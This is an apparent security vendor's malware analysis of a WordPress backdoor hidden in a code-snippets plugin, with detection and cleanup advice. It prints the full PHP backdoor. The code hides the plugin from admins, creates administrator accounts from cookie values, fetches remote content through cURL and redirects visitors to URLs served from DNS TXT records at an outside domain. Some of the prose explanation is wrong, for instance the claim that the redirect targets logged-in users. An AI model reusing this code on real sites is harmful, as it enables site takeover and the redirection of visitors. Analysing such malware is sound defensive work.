Introduction:

During the analysis and treatment of the infected site, malicious code was found embedded in the Code Snippets plugin. The main function of the malicious code was to redirect users once upon their first visit to the site, as well as to hide the plugin’s management form in the WordPress admin panel. This makes it difficult to detect the threat and increases the likelihood of a long-term presence of malicious code on a web resource.

This type of infection is quite common in the WordPress environment and causes a lot of inconvenience to website owners. Its main functionality is related to hiding malicious code and redirects on the website.

Malicious code content:

The malicious code looks like it contains several functions, in which it causes several actions to hide, modify, and redirect.

$_pwsa = '923482c2de7328f6a19cc1eade2049c3';

if (current_user_can('administrator') && !array_key_exists('show_all', $_GET)) {
    add_action('admin_print_scripts', function () {
        echo '<style>';
        echo '#toplevel_page_wpcode { display: none; }';
        echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }';
        echo '#wpcode-notice-global-review_request { display: none; }';
        echo '</style>';
    });

    add_filter('all_plugins', function ($plugins) {
        unset($plugins['insert-headers-and-footers/ihaf.php']);
        return $plugins;
    });
}

if (!function_exists('_red')) {
    error_reporting(0);
    ini_set('display_errors', 0);

    function _gcookie($n)
    {
        return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : '';
    }

    if (!empty($_pwsa) && _gcookie('pw') === $_pwsa) {
        switch (_gcookie('c')) {
            case 'sd':
                $d = _gcookie('d');
                if (strpos($d, '.') > 0) {
                    update_option('d', $d);
                }
                break;
            case 'au':
                $u = _gcookie('u');
                $p = _gcookie('p');
                $e = _gcookie('e');

                if ($u && $p && $e && !username_exists($u)) {
                    $user_id = wp_create_user($u, $p, $e);
                    $user = new WP_User($user_id);
                    $user->set_role('administrator');
                }
                break;
        }
        return;
    }

    if (@stripos(wp_login_url(), '' . $_SERVER['SCRIPT_NAME']) !== false) {
        return;
    }

    if (_gcookie("skip") === "1") {
        return;
    }

    function _is_mobile()
    {
        if (empty($_SERVER["HTTP_USER_AGENT"])) {
            return false;
        }
        return @preg_match("/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up\.browser|up\.link|webos|wos)/i", '' . $_SERVER["HTTP_USER_AGENT"]);
    }

    function _is_iphone()
    {
        if (empty($_SERVER["HTTP_USER_AGENT"])) {
            return false;
        }

        return @preg_match("/(iphone|ipod)/i", '' . $_SERVER["HTTP_USER_AGENT"]);
    }

    function _user_ip()
    {
        foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) {
            if (array_key_exists($key, $_SERVER) && !empty($_SERVER[$key])) {
                foreach (@explode(',', '' . $_SERVER[$key]) as $ip) {
                    $ip = trim($ip);
                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
                        return $ip;
                    }
                }
            }
        }

        return false;
    }

    function xorEncryptDecrypt($data, $password)
    {
        $dataLength = strlen($data);
        $passLength = strlen($password);
        $result = '';

        for ($i = 0; $i < $dataLength; $i++) {
            $result .= $data[$i] ^ $password[$i % $passLength];
        }

        return $result;
    }

    function _red()
    {
        if (is_user_logged_in()) {
            return;
        }

        $u = isset($_GET['u']) ? $_GET['u'] : '';
        $p = isset($_GET['p']) ? $_GET['p'] : '';
        if (function_exists('curl_init') && strlen($u) > 4 && $p === "923482c2de7328f6a19cc1eade2049c3") {
            $hash = md5(substr($u, 4));

            if (substr($u, 0, 4) === substr($hash, 0, 4)) {
                $link = xorEncryptDecrypt(hex2bin(substr($u, 12)), substr($u, 4, 8));

                if (substr($link, 0, 4) === 'http') {
                    $ch = @curl_init();
                    @curl_setopt($ch, CURLOPT_URL, $link);
                    @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                    $output = @curl_exec($ch);
                    @curl_close($ch);
$j = json_decode($output);
                    if ($j !== null) {
                        if (isset($j->headers)) {
                            foreach ($j->headers as $header) {
                                header($header);
                            }
                        }
                        if (isset($j->body)) {
                            echo base64_decode($j->body);
                        }
                    }
                }
            }
            exit(0);
        }

        $ip = _user_ip();
        if (!$ip) {
            return;
        }

        $exp = get_transient('exp');
        if (!is_array($exp)) {
            $exp = array();
        }

        foreach ($exp as $k => $v) {
            if (time() - $v > 86400) {
                unset($exp[$k]);
            }
        }

        if (key_exists($ip, $exp) && (time() - $exp[$ip] < 86400)) {
            return;
        }

        $host = filter_var(parse_url('https://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME);
        $ips = str_replace(':', '-', $ip);
        $ips = str_replace('.', '-', $ips);

        $h = 'webdmonitor.io';
        $o = get_option('d');
        if ($o && strpos($o, '.') > 0) {
            $h = $o;
        }
        $m = _is_iphone() ? 'i' : 'm';
        $req = (!$host ? 'unk.com' : $host) . '.' . (!$ips ? '0-0-0-0' : $ips) . '.' . mt_rand(100000, 999999) . '.' . (_is_mobile() ? 'n' . $m : 'nd') . '.' . $h;

        $s = null;
        try {
            $v = "d" . "ns_" . "get" . "_rec" . "ord";
            $s = @$v($req, DNS_TXT);
        } catch (\Exception $e) {
        }

        if (is_array($s) && !empty($s)) {
            if (isset($s[0]['txt'])) {
                $s = $s[0]['txt'];
                $s = base64_decode($s);

                if ($s == 'err') {
                    $exp[$ip] = time();
                    delete_transient('exp');
                    set_transient('exp', $exp);
                } else if (substr($s, 0, 4) === 'http') {
                    $exp[$ip] = time();
                    delete_transient('exp');
                    set_transient('exp', $exp);
                    wp_redirect($s);
                    exit;
                }
            }
        }
    }

    add_action('init', '_red');
}

The malicious code performs several tasks:

  1. Hiding the Code Snippets management interface – the code adds CSS rules that hide the plugin elements in the admin panel. With this type of infection, users may not detect the Code Snippets plugin in the admin panel and in downloaded plugins.
if (current_user_can('administrator') && !array_key_exists('show_all', $_GET)) {
    add_action('admin_print_scripts', function () {
        echo '<style>';
        echo '#toplevel_page_wpcode { display: none; }';
        echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }';
        echo '#wpcode-notice-global-review_request { display: none; }';
        echo '</style>';
    });

    add_filter('all_plugins', function ($plugins) {
        unset($plugins['insert-headers-and-footers/ihaf.php']);
        return $plugins;
    });
}

  1. Removing the plug-in Insert Headers and Footers – the code filters the list of plug-ins and deletes the entry about insert-headers-and-footers/ihaf.php
  2. Using cookies to execute commands:
    • If the cookies contain an encrypted pw value that matches $_pwsa, certain commands are executed.
    • sd is an update of a certain parameter in the database.
    • au is the creation of an administrator with the data transmitted in cookies.
if (!empty($_pwsa) && _gcookie('pw') === $_pwsa) {
    switch (_gcookie('c')) {
        case 'au':
            $u = _gcookie('u');
            $p = _gcookie('p');
            $e = _gcookie('e');

            if ($u && $p && $e && !username_exists($u)) {
                $user_id = wp_create_user($u, $p, $e);
                $user = new WP_User($user_id);
                $user->set_role('administrator');
            }
            break;
    }
    return;
}

This code allows an attacker to create hidden administrators in WordPress using data transmitted through cookies.

  1. Function _red():
    • Determines the user’s IP and verifies it in the esp transit database.
    • Performs domain verification via webdmonitor.io .
    • If a redirect URL is found, a redirect occurs.
    • It only works for logged-in users.
    • Uses XOR encryption to transfer data.
  2. Dynamic redirect:
    • The code collects the user’s IP address using HTTP_CF_CONNECTING_IP, HTTP_CLIENT_IP, and other headers.
    • Generates a unique domain and makes a dns_get_record() request, receiving a TXT record.
    • If the TXT record contains err, the IP address is written to exp, preventing further redirects.
    • If the TXT record contains an http link, the user will be redirected to it (wp_redirect($s), exit;).

This feature allows an attacker to dynamically manage redirects from a website to third-party resources, depending on the user’s IP address.

function _red() {
    if (is_user_logged_in()) {
        return;
    }
    
    $ip = _user_ip();
    if (!$ip) {
        return;
    }
    
    $h = 'webdmonitor.io';
    $o = get_option('d');
    if ($o && strpos($o, '.') > 0) {
        $h = $o;
    }
    
    $req = 'https://' . $_SERVER['HTTP_HOST'] . '.' . str_replace('.', '-', $ip) . '.' . mt_rand(100000, 999999) . '.' . $h;
    $s = dns_get_record($req, DNS_TXT);
    
    if (is_array($s) && !empty($s)) {
        if (isset($s[0]['txt'])) {
            $s = base64_decode($s[0]['txt']);
            if (substr($s, 0, 4) === 'http') {
                wp_redirect($s);
                exit;
            }
        }
    }
}
add_action('init', '_red');

Malicious code output:

This code is malicious code with the following features:

  • Hiding a malicious plugin from the admin panel.
  • Remote access via cURL, which allows an attacker to download and execute code.
  • IP filtering and dynamic redirect, which can be used for targeted attacks (for example, redirect only for new users or users from mobile devices).

How to detect an infection

  1. Redirect check: if a redirect occurs on the first visit to the site, but then it does not repeat, this may be a sign of infection.
  2. Search for the hidden form of the plugin:
    • Go to the WordPress admin panel and open the list of installed plugins.
    • Enter “Code Snippets” in the search bar.
    • If the “Install” button is replaced with “Update”, it means that the plugin is already installed, but hidden from the administrator.
  3. Search for malicious code:
    • Open the website’s database and find the table containing the snippet entries.
    • In the logs of the website, you can find the snippet ID, for example:
    • https://host.com/wp-admin/admin.php?page=wpcode-snippet-manager&snippet_id={number}
    • After finding the snippet ID, it must be completely deleted.
    • Disable and remove the Code Snippets plugin to prevent re-infection.

Conclusion

This malicious code in the Code Snippets plugin is quite common. He hides his activity, creates new administrator accounts, and redirects visitors to third-party resources. To prevent infection, it is recommended:

  • Check the installed plugins and their settings regularly.
  • Keep an eye out for suspicious redirects and hidden administrative elements.
  • Monitor the database and logs of the website.
  • Use reliable security plugins to scan malicious code.
  • If your site is infected, remove the malicious snippet immediately and disable the Code Snippets plugin to prevent further spread of the threat.

If your website is infected, we can provide you with services to fix your problem quickly and efficiently.

by Cleantalk
Malicious PHP snippets in WPCode

Leave a Reply

Your email address will not be published. Required fields are marked *